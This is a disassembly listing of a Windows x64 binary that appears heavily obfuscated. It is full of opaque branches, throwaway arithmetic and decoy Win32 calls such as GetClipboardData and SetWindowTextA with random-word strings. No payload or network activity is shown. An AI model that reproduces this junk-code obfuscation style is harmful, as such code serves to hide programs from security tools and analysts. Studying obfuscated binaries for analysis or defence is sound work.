je 0x14005aece
jmp 0x14005af0a
mov rax, qword [rsp + 0x29528]
mov qword [rsp + 0x2d358], rax
movabs rax, 0x62a4879dd36c653b
cmp qword [rsp + 0x2d358], rax
je 0x14005ae94
jmp 0x14005aeb0
mov r9, qword [rsp + 0x29528]
mov r8b, 0xd4
mov dl, pe_nt_image_headers64
mov rcx, qword [rsp + 0x29528]
call fcn.1400561c0
jmp 0x14005aecc
movabs rcx, 0x2518d91296a68b02
mov rax, qword [rsp + 0x29528]
xor rax, rcx
mov qword [0x1402412c8], rax
jmp 0x14005af0a
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rax, qword [0x1402412c8]
sar rax, 0x30
mov qword [rsp + 0x29528], rax
mov r9d, dword [rsp + 0x1e838]
mov r8d, dword [rsp + 0x11234]
mov edx, dword [rsp + 0x1e838]
mov ecx, dword [rsp + 0x11234]
call fcn.1400551f0
lea rax, [rsp + 0x11564]
mov qword [rsp + 0x14a80], rax
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
mov dword [rsp + 0x2d360], eax
cmp dword [rsp + 0x2d360], 0xfffff959
je 0x14005af3e
jmp 0x14005b044
movabs rcx, 0x1827d43c4273ba0e
mov rax, qword [0x1402412c8]
or rax, rcx
cmp rax, qword [rsp + 0x29528]
jle 0x14005af72
movsx ecx, word [rsp + 0x11564]
shl ecx, 4
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
movsx eax, word [rsp + 0x11564]
mov dword [rsp + 0x2d364], eax
cmp dword [rsp + 0x2d364], 0xfffff959
je 0x14005afa4
cmp dword [rsp + 0x2d364], 0x28db
je 0x14005b023
jmp 0x14005b03f
cmp dword [rsp + 0x11234], 0x1bc5d6c1
jle 0x14005b021
movzx eax, word [rsp + 0x67d0]
and eax, 0x134
mov word [rsp + 0x67d0], ax
mov ecx, 0x3b
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rsp + 0x4ab8], rax
movsx ecx, word [rsp + 0x11564]
add ecx, 0x33cc
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov eax, dword [rsp + 0x1e838]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x67d0]
movzx r8d, word [rsp + 0x67d0]
mov edx, 0x6d
movzx ecx, word [rsp + 0x67d0]
call fcn.140055f80
jmp 0x14005b03f
movabs rcx, 0x311ba9c38d94065c
mov rax, qword [rsp + 0x29528]
add rax, rcx
mov qword [0x1402412c8], rax
jmp 0x14005b114
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
mov dword [rsp + 0x2d368], eax
cmp dword [rsp + 0x2d368], 0x126d
je 0x14005b068
jmp 0x14005b0f1
movsx ecx, word [rsp + 0x11564]
add ecx, 0x71aa
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
lea rcx, [rsp + 0x1690]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov dword [rsp + 0x24af8], eax
mov eax, dword [rsp + 0x11234]
sub eax, 0x59d8e36d
mov dword [rsp + 0x11234], eax
movsx ecx, word [rsp + 0x11564]
and ecx, 0x2389
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
call qword [sym.imp.USER32.dll_GetInputState]
mov dword [rsp + 0x3aa8], eax
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
jmp 0x14005b114
mov r8d, 0x1f
lea rdx, [rsp + 0x58f0]
mov rcx, qword [rsp + 0x2b410]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [rsp + 0x15368], eax
mov dword [rsp + 0x1c4c], 0xb95e
lea rax, [rsp + 0x67d0]
mov qword [rsp + 0xe8a0], rax
mov rax, qword [rsp + 0x29528]
mov qword [rsp + 0x2d370], rax
movabs rax, 0x209b68d78398aa08
cmp qword [rsp + 0x2d370], rax
je 0x14020304b
movabs rax, 0x54725aefd1f64ead
cmp qword [rsp + 0x2d370], rax
je 0x14005b170
jmp 0x140203064
mov eax, dword [rsp + 0x15368]
shl eax, 0x84
cmp eax, dword [rsp + 0x11234]
jl 0x14005b2f1
mov al, byte [rsp + 0x65c8]
mov byte [rsp + 0x2d378], al
cmp byte [rsp + 0x2d378], 0xf
je 0x14005b1ab
cmp byte [rsp + 0x2d378], 0x94
je 0x14005b1dc
jmp 0x14005b1f5
mov rax, qword [rsp + 0x29528]
sar rax, 0x24
mov qword [0x1402412c8], rax
lea rdx, str.Stringer_Indulgence_mastermind
mov rcx, qword [rsp + 0x1b0e0]
call qword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [rsp + 0x10b58], eax
jmp 0x14005b1f5
movzx ecx, word [rsp + 0x67d0]
xor ecx, 0xc42
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov eax, dword [rsp + 0x15368]
and eax, 0x41499e1b
cmp eax, dword [rsp + 0x11234]
jle 0x14005b2c9
mov rax, qword [rsp + 0x29528]
mov qword [rsp + 0x2d380], rax
movabs rax, 0x358577f56a6efd1f
cmp qword [rsp + 0x2d380], rax
je 0x14005b237
jmp 0x14005b2c9
mov eax, dword [rsp + 0x1e838]
mov dword [rsp + 0x2d388], eax
cmp dword [rsp + 0x2d388], 0x2a217834
je 0x14005b254
jmp 0x14005b2a6
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
add eax, 0x3a4
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
sub eax, 0x186d
mov word [rsp + 0x11564], ax
jmp 0x14005b2c9
mov r8d, 0xf5
lea rdx, [rsp + 0x1910]
mov rcx, qword [rsp + 0x1b0e0]
call qword [sym.imp.USER32.dll_GetWindowModuleFileNameA]
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
mov word [rsp + 0x13120], ax
lea rax, [rsp + 0x11564]
mov qword [rsp + 0x186d8], rax
jmp 0x14005b3b6
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov eax, dword [rsp + 0x225f8]
mov dword [rsp + 0x2d38c], eax
cmp dword [rsp + 0x2d38c], 0x25f446ba
je 0x14005b33b
cmp dword [rsp + 0x2d38c], 0xa7819137
je 0x14005b399
jmp 0x14005b3b6
movzx eax, byte [rsp + 0x65c8]
sub eax, 0x77
mov byte [rsp + 0x65c8], al
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
movzx r9d, word [rsp + 0x11564]
movzx r8d, word [rsp + 0x67d0]
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
call fcn.140203290
jmp 0x14005b3b6
lea rdx, str.democracy_longish
mov rcx, qword [rsp + 0xa270]
call qword [sym.imp.USER32.dll_GetPropA]
mov qword [rsp + 0xe40], rax
lea rax, [rsp + 0x11234]
mov qword [rsp + 0x7010], rax
mov dword [rsp + 0x275c8], 0x4776
lea rax, [rsp + 0x225f8]
mov qword [rsp + 0xe1e0], rax
mov dword [rsp + 0x1a5f8], 0x10e3
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rsp + 0x11234]
mov eax, dword [rax]
sub eax, ecx
cmp eax, dword [rsp + 0x15368]
jg 0x14005b453
mov rax, qword [rsp + 0x29528]
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0x14a80]
movzx eax, word [rax]
mov word [rsp + 0x1f220], ax
mov byte [rsp + 0x18b28], 0x5a
lea rax, [rsp + 0x67d0]
mov qword [rsp + 0x1f660], rax
lea rax, [rsp + 0x65c8]
mov qword [rsp + 0x9808], rax
movzx ecx, byte [rsp + 0x65c8]
sub ecx, 0x11
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
cmp ecx, eax
jge 0x14005b4cd
lea rax, [rsp + 0x65c8]
mov qword [rsp + 0x105d0], rax
movabs rax, 0x6f7789ecc63ddf4b
mov qword [0x140244ef8], rax
mov dword [rsp + 0x10644], 0xde81
lea rax, [0x1402412c8]
mov qword [rsp + 0x19120], rax
lea rax, [rsp + 0x11234]
mov qword [rsp + 0x8f38], rax
lea rax, [rsp + 0x225f8]
mov qword [rsp + 0x5b28], rax
jmp 0x14005b5a2
movsx eax, byte [rsp + 0x18b28]
cmp eax, 0x3b
jg 0x14005b5a2
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x67d0], ax
mov rax, qword [rsp + 0x105d0]
mov al, byte [rax]
mov byte [rsp + 0x2d390], al
cmp byte [rsp + 0x2d390], 0x8c
je 0x14005b51a
jmp 0x14005b591
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
movsx eax, word [rsp + 0x11564]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov edx, 0x90
mov rcx, qword [rsp + 0x1b0e0]
call qword [sym.imp.USER32.dll_GetScrollPos]
mov dword [rsp + 0x1c058], eax
movzx ecx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
mov rcx, qword [rsp + 0x1b0e0]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [rsp + 0xcdb8], eax
jmp 0x14005b5a2
movsx eax, byte [rsp + 0x18b28]
shl eax, 1
mov byte [rsp + 0x18b28], al
mov rcx, qword [rsp + 0x7010]
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
mov edx, dword [rcx]
or edx, eax
mov ecx, dword [rsp + 0x11234]
mov eax, dword [rsp + 0x15368]
and eax, ecx
cmp edx, eax
jl 0x14005b658
movzx ecx, word [rsp + 0x67d0]
movzx eax, word [rsp + 0x13120]
sub ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
sub ecx, eax
movzx eax, byte [rsp + 0x65c8]
cmp ecx, eax
je 0x14005b658
mov al, byte [rsp + 0x18b28]
mov byte [rsp + 0x2d394], al
cmp byte [rsp + 0x2d394], 0x5d
je 0x14005b62b
jmp 0x14005b632
call fcn.140203170
jmp 0x14005b658
mov r9d, 1
mov r8d, 0x44
mov edx, 0x20
mov rcx, qword [rsp + 0x2b410]
call qword [sym.imp.USER32.dll_SetDlgItemInt]
mov dword [rsp + 0x3aa8], eax
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x2d398], eax
cmp dword [rsp + 0x2d398], 0x66617da2
je 0x14005b678
jmp 0x14005b6bf
mov eax, dword [rsp + 0x15368]
mov dword [rsp + 0x2d39c], eax
cmp dword [rsp + 0x2d39c], 0x3d626ce
je 0x14005b695
jmp 0x14005b6b5
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
jmp 0x14005b6ba
call fcn.140203170
jmp 0x14005b7ae
lea rax, [rsp + 0x1e838]
mov qword [rsp + 0x16938], rax
mov dword [rsp + 0x6398], 0x4866
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov dword [rsp + 0x1c058], eax
mov dword [rsp + 0x7924], 0x5c77
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
mov dword [rsp + 0x2d3a0], eax
cmp dword [rsp + 0x2d3a0], 0xbfa
je 0x14005b717
jmp 0x14005b793
lea rax, [rsp + 0x65c8]
mov qword [rsp + 0x2a0d8], rax
mov dword [rsp + 0x25d90], 0x2455
lea rax, [rsp + 0x18b28]
mov qword [rsp + 0x264f8], rax
movzx eax, word [rsp + 0x67d0]
movzx ecx, word [rsp + 0x13120]
sub eax, ecx
mov word [rsp + 0x8218], ax
mov dword [rsp + 0xc4a8], 0xad8e
movzx eax, byte [rsp + 0x18b28]
mov byte [rsp + 0xf250], al
lea rax, [rsp + 0x65c8]
mov qword [rsp + 0x1a870], rax
mov dword [rsp + 0x1ae88], 0x53b8
jmp 0x14005b7ae
movabs rcx, 0x67cf4876e66cd9f0
mov rax, qword [0x140244ef8]
add rax, rcx
mov qword [0x140244ef8], rax
lea rax, [rsp + 0x29528]
mov qword [rsp + 0x9750], rax
mov dword [rsp + 0x3370], 0xade7
mov eax, dword [rsp + 0x1c058]
mov dword [rsp + 0x2d3a4], eax
cmp dword [rsp + 0x2d3a4], 0x8002c81d
je 0x14005b7e9
jmp 0x140202ebd
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rsp + 0x225f8]
add ecx, eax
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
lea rax, [rsp + 0x1c058]
mov qword [rsp + 0xe198], rax
lea rax, [rsp + 0x1f220]
mov qword [rsp + 0xdb98], rax
lea rax, [rsp + 0x65c8]
mov qword [rsp + 0x29a80], rax
mov al, byte [rsp + 0x65c8]
mov byte [rsp + 0x2d3a8], al
cmp byte [rsp + 0x2d3a8], 0x14
je 0x14005b850
jmp 0x140202d19
mov rax, qword [rsp + 0x2a0d8]
mov al, byte [rax]
mov byte [rsp + 0x2d3ac], al
cmp byte [rsp + 0x2d3ac], 0x23
je 0x14005b870
jmp 0x14005b908
mov al, byte [rsp + 0xf250]
mov byte [rsp + 0x2d3b0], al
cmp byte [rsp + 0x2d3b0], 0x11
je 0x14005b894
cmp byte [rsp + 0x2d3b0], 0x25
je 0x14005b8b9
jmp 0x14005b8d3
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
jmp 0x14005b8d3
mov eax, dword [rsp + 0x15368]
movzx ecx, al
mov eax, dword [rsp + 0x1c058]
sar eax, cl
mov dword [rsp + 0x11234], eax
movzx r9d, word [rsp + 0x1f220]
mov rax, qword [rsp + 0xe8a0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x1a870]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
call fcn.140203290
jmp 0x14005b9e9
mov rax, qword [0x140244ef8]
mov qword [rsp + 0x2d3b8], rax
movabs rax, 0x6f7789ecc63ddf4b
cmp qword [rsp + 0x2d3b8], rax
je 0x14005b92d
jmp 0x14005b96a
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x26148], eax
movzx eax, word [rsp + 0x8218]
movzx ecx, word [rsp + 0x67d0]
xor eax, ecx
mov word [rsp + 0x13120], ax
lea rax, [rsp + 0xf250]
mov qword [rsp + 0x3588], rax
jmp 0x14005b9e9
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
movsx eax, word [rsp + 0x11564]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x18b28], al
xor r8d, r8d
mov edx, 0x6d
lea rcx, [rsp + 0x11564]
call qword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [rsp + 0xa928], eax
movsx ecx, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x6598]
mov qword [rsp + 0x21d38], rax
mov dword [rsp + 0x1f908], 0x9793
lea rax, [rsp + 0x1c058]
mov qword [rsp + 0x20e58], rax
mov dword [rsp + 0x1af90], 0xec48
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x29528]
and rcx, rax
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
add rax, qword [rsp + 0x21d38]
cmp rcx, rax
jg 0x14005bbc3
mov rax, qword [rsp + 0x29528]
mov rdx, qword [rsp + 0x6598]
add rdx, rax
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
cmp rdx, rax
jge 0x14005bb81
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov dword [rsp + 0x2d3c0], eax
cmp dword [rsp + 0x2d3c0], 0x1c423ac3
je 0x14005bb1b
cmp dword [rsp + 0x2d3c0], 0x1d3e1c83
je 0x14005bab3
jmp 0x14005bb7f
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rsp + 0x225f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x26148], eax
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e838]
add ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov r9, qword [rsp + 0x9750]
mov r9, qword [r9]
mov rax, qword [rsp + 0x3588]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x264f8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x29528]
call fcn.1400561c0
jmp 0x14005bb7f
mov rdx, qword [rsp + 0xa270]
mov rcx, qword [rsp + 0x5968]
call qword [sym.imp.USER32.dll_IsChild]
mov dword [rsp + 0x27358], eax
mov rax, qword [rsp + 0x1a870]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x65c8], al
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0xf250]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
jmp 0x14005bbc3
mov rax, qword [rsp + 0x264f8]
movsx edi, byte [rax]
movsx eax, byte [rsp + 0x18b28]
sub edi, eax
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
je 0x14005bbc3
mov ecx, 0x7b
call qword [sym.imp.USER32.dll_AllowSetForegroundWindow]
mov dword [rsp + 0x24af8], eax
mov rax, qword [0x140244ef8]
mov qword [rsp + 0x2d3c8], rax
movabs rax, 0x6f7789ecc63ddf4b
cmp qword [rsp + 0x2d3c8], rax
je 0x14005bc03
movabs rax, 0x7576daa9aaa36446
cmp qword [rsp + 0x2d3c8], rax
je 0x140202c3a
jmp 0x140202cee
movsx edi, word [rsp + 0x11564]
movsx eax, word [rsp + 0x1f220]
and edi, eax
mov rax, qword [rsp + 0xdb98]
movsx edx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jl 0x14005bd04
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
sub edx, eax
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11564]
and eax, ecx
cmp edx, eax
jle 0x14005bce4
mov al, byte [rsp + 0x18b28]
mov byte [rsp + 0x2d3d0], al
cmp byte [rsp + 0x2d3d0], 0x70
je 0x14005bc7f
jmp 0x14005bcd1
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x21d38]
add rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov r9, qword [rsp + 0x9750]
mov r9, qword [r9]
mov rax, qword [rsp + 0x264f8]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x264f8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x6598]
call fcn.1400561c0
jmp 0x14005bce2
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov dword [rsp + 0x15368], eax
jmp 0x14005bd04
mov r8d, 0x91
mov edx, 0x3b
mov rcx, qword [rsp + 0x1b0e0]
call qword [sym.imp.USER32.dll_AnimateWindow]
mov dword [rsp + 0x10b58], eax
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
sub ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
mov eax, dword [rsp + 0x25048]
sub eax, 0x95
mov dword [rsp + 0x25048], eax
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26148]
add ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x29a80]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x65c8], al
movzx ecx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov eax, dword [rsp + 0x11234]
mov dword [rsp + 0x258a4], eax
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x29528], rax
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x258a4]
add eax, ecx
mov dword [rsp + 0x1c058], eax
mov eax, dword [rsp + 0x225f8]
mov ecx, dword [rsp + 0x26148]
sub ecx, eax
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
mov rax, qword [rsp + 0x105d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x65c8], al
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x11234]
add ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1f660]
movzx edx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x67d0], ax
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x225f8]
xor eax, ecx
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x29528]
movzx ecx, al
mov rax, qword [rsp + 0x6598]
shl rax, cl
mov qword [rsp + 0x21d38], rax
movsx edx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0xf250], al
movzx edx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x1f220], ax
cmp dword [rsp + 0x25048], 0x6661
jae 0x14005bd04
movsx eax, word [rsp + 0x11564]
mov dword [rsp + 0x2d3d4], eax
cmp dword [rsp + 0x2d3d4], 0xffffffff
je 0x14005c01e
cmp dword [rsp + 0x2d3d4], 0x4237
je 0x14005c154
jmp 0x14005c1f4
movzx eax, byte [rsp + 0x65c8]
mov byte [rsp + 0x1522c], al
mov eax, dword [rsp + 0x1c058]
mov dword [rsp + 0x2d3d8], eax
cmp dword [rsp + 0x2d3d8], 0x3f8c9b50
je 0x14005c04a
jmp 0x14005c0bd
mov rax, qword [rsp + 0xe8a0]
movzx edi, word [rax]
movzx eax, word [rsp + 0x13120]
add edi, eax
movzx edx, word [rsp + 0x8218]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jl 0x14005c0b3
movsx ecx, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [0x1402412c8]
and rax, rcx
mov qword [rsp + 0x6598], rax
jmp 0x14005c0b8
call fcn.140203170
jmp 0x14005c14f
mov ecx, dword [rsp + 0x15368]
mov eax, dword [rsp + 0x1c058]
add eax, ecx
mov dword [rsp + 0x11234], eax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x2d3dc], eax
cmp dword [rsp + 0x2d3dc], 0x1afc6324
je 0x14005c0f4
jmp 0x14005c14f
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rsp + 0x225f8]
add ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
movsx edx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0xf250], al
xor r9d, r9d
mov r8d, 0x26
mov edx, 0xe2
mov rcx, qword [rsp + 0x5968]
call qword [sym.imp.USER32.dll_SetDlgItemInt]
mov dword [rsp + 0x20000], eax
jmp 0x14005c1f4
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x2d3e0], eax
cmp dword [rsp + 0x2d3e0], 0x76de788a
je 0x14005c181
cmp dword [rsp + 0x2d3e0], 0xac1159c6
je 0x14005c1d2
jmp 0x14005c1f4
mov rax, qword [rsp + 0x2a0d8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
mov r9, qword [rsp + 0x21d38]
movzx r8d, byte [rsp + 0x18b28]
movzx edx, byte [rsp + 0xf250]
mov rcx, qword [rsp + 0x29528]
call fcn.1400561c0
jmp 0x14005c1f4
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1f220], ax
movabs rax, 0xad96faef18b22be7
cmp qword [0x140244ef8], rax
jae 0x140202ae0
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov edx, dword [rsp + 0x258a4]
sub edx, eax
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rsp + 0x1c058]
mov eax, dword [rax]
and eax, ecx
cmp edx, eax
jl 0x14005c2f5
mov rax, qword [rsp + 0x29a80]
mov al, byte [rax]
mov byte [rsp + 0x2d3e4], al
cmp byte [rsp + 0x2d3e4], 0x6f
je 0x14005c259
jmp 0x14005c2db
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x225f8]
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov edx, 0x58
mov rcx, qword [rsp + 0x5968]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x20000], eax
movsx ecx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0xe1e0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xe198]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x26148]
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
call fcn.1400551f0
jmp 0x14005c2f5
movzx eax, word [rsp + 0x67d0]
movzx ecx, word [rsp + 0x8218]
or eax, ecx
mov word [rsp + 0x13120], ax
cmp dword [rsp + 0x1af90], 0xed10
jae 0x14005c702
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x1522c], al
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1402412c8], rax
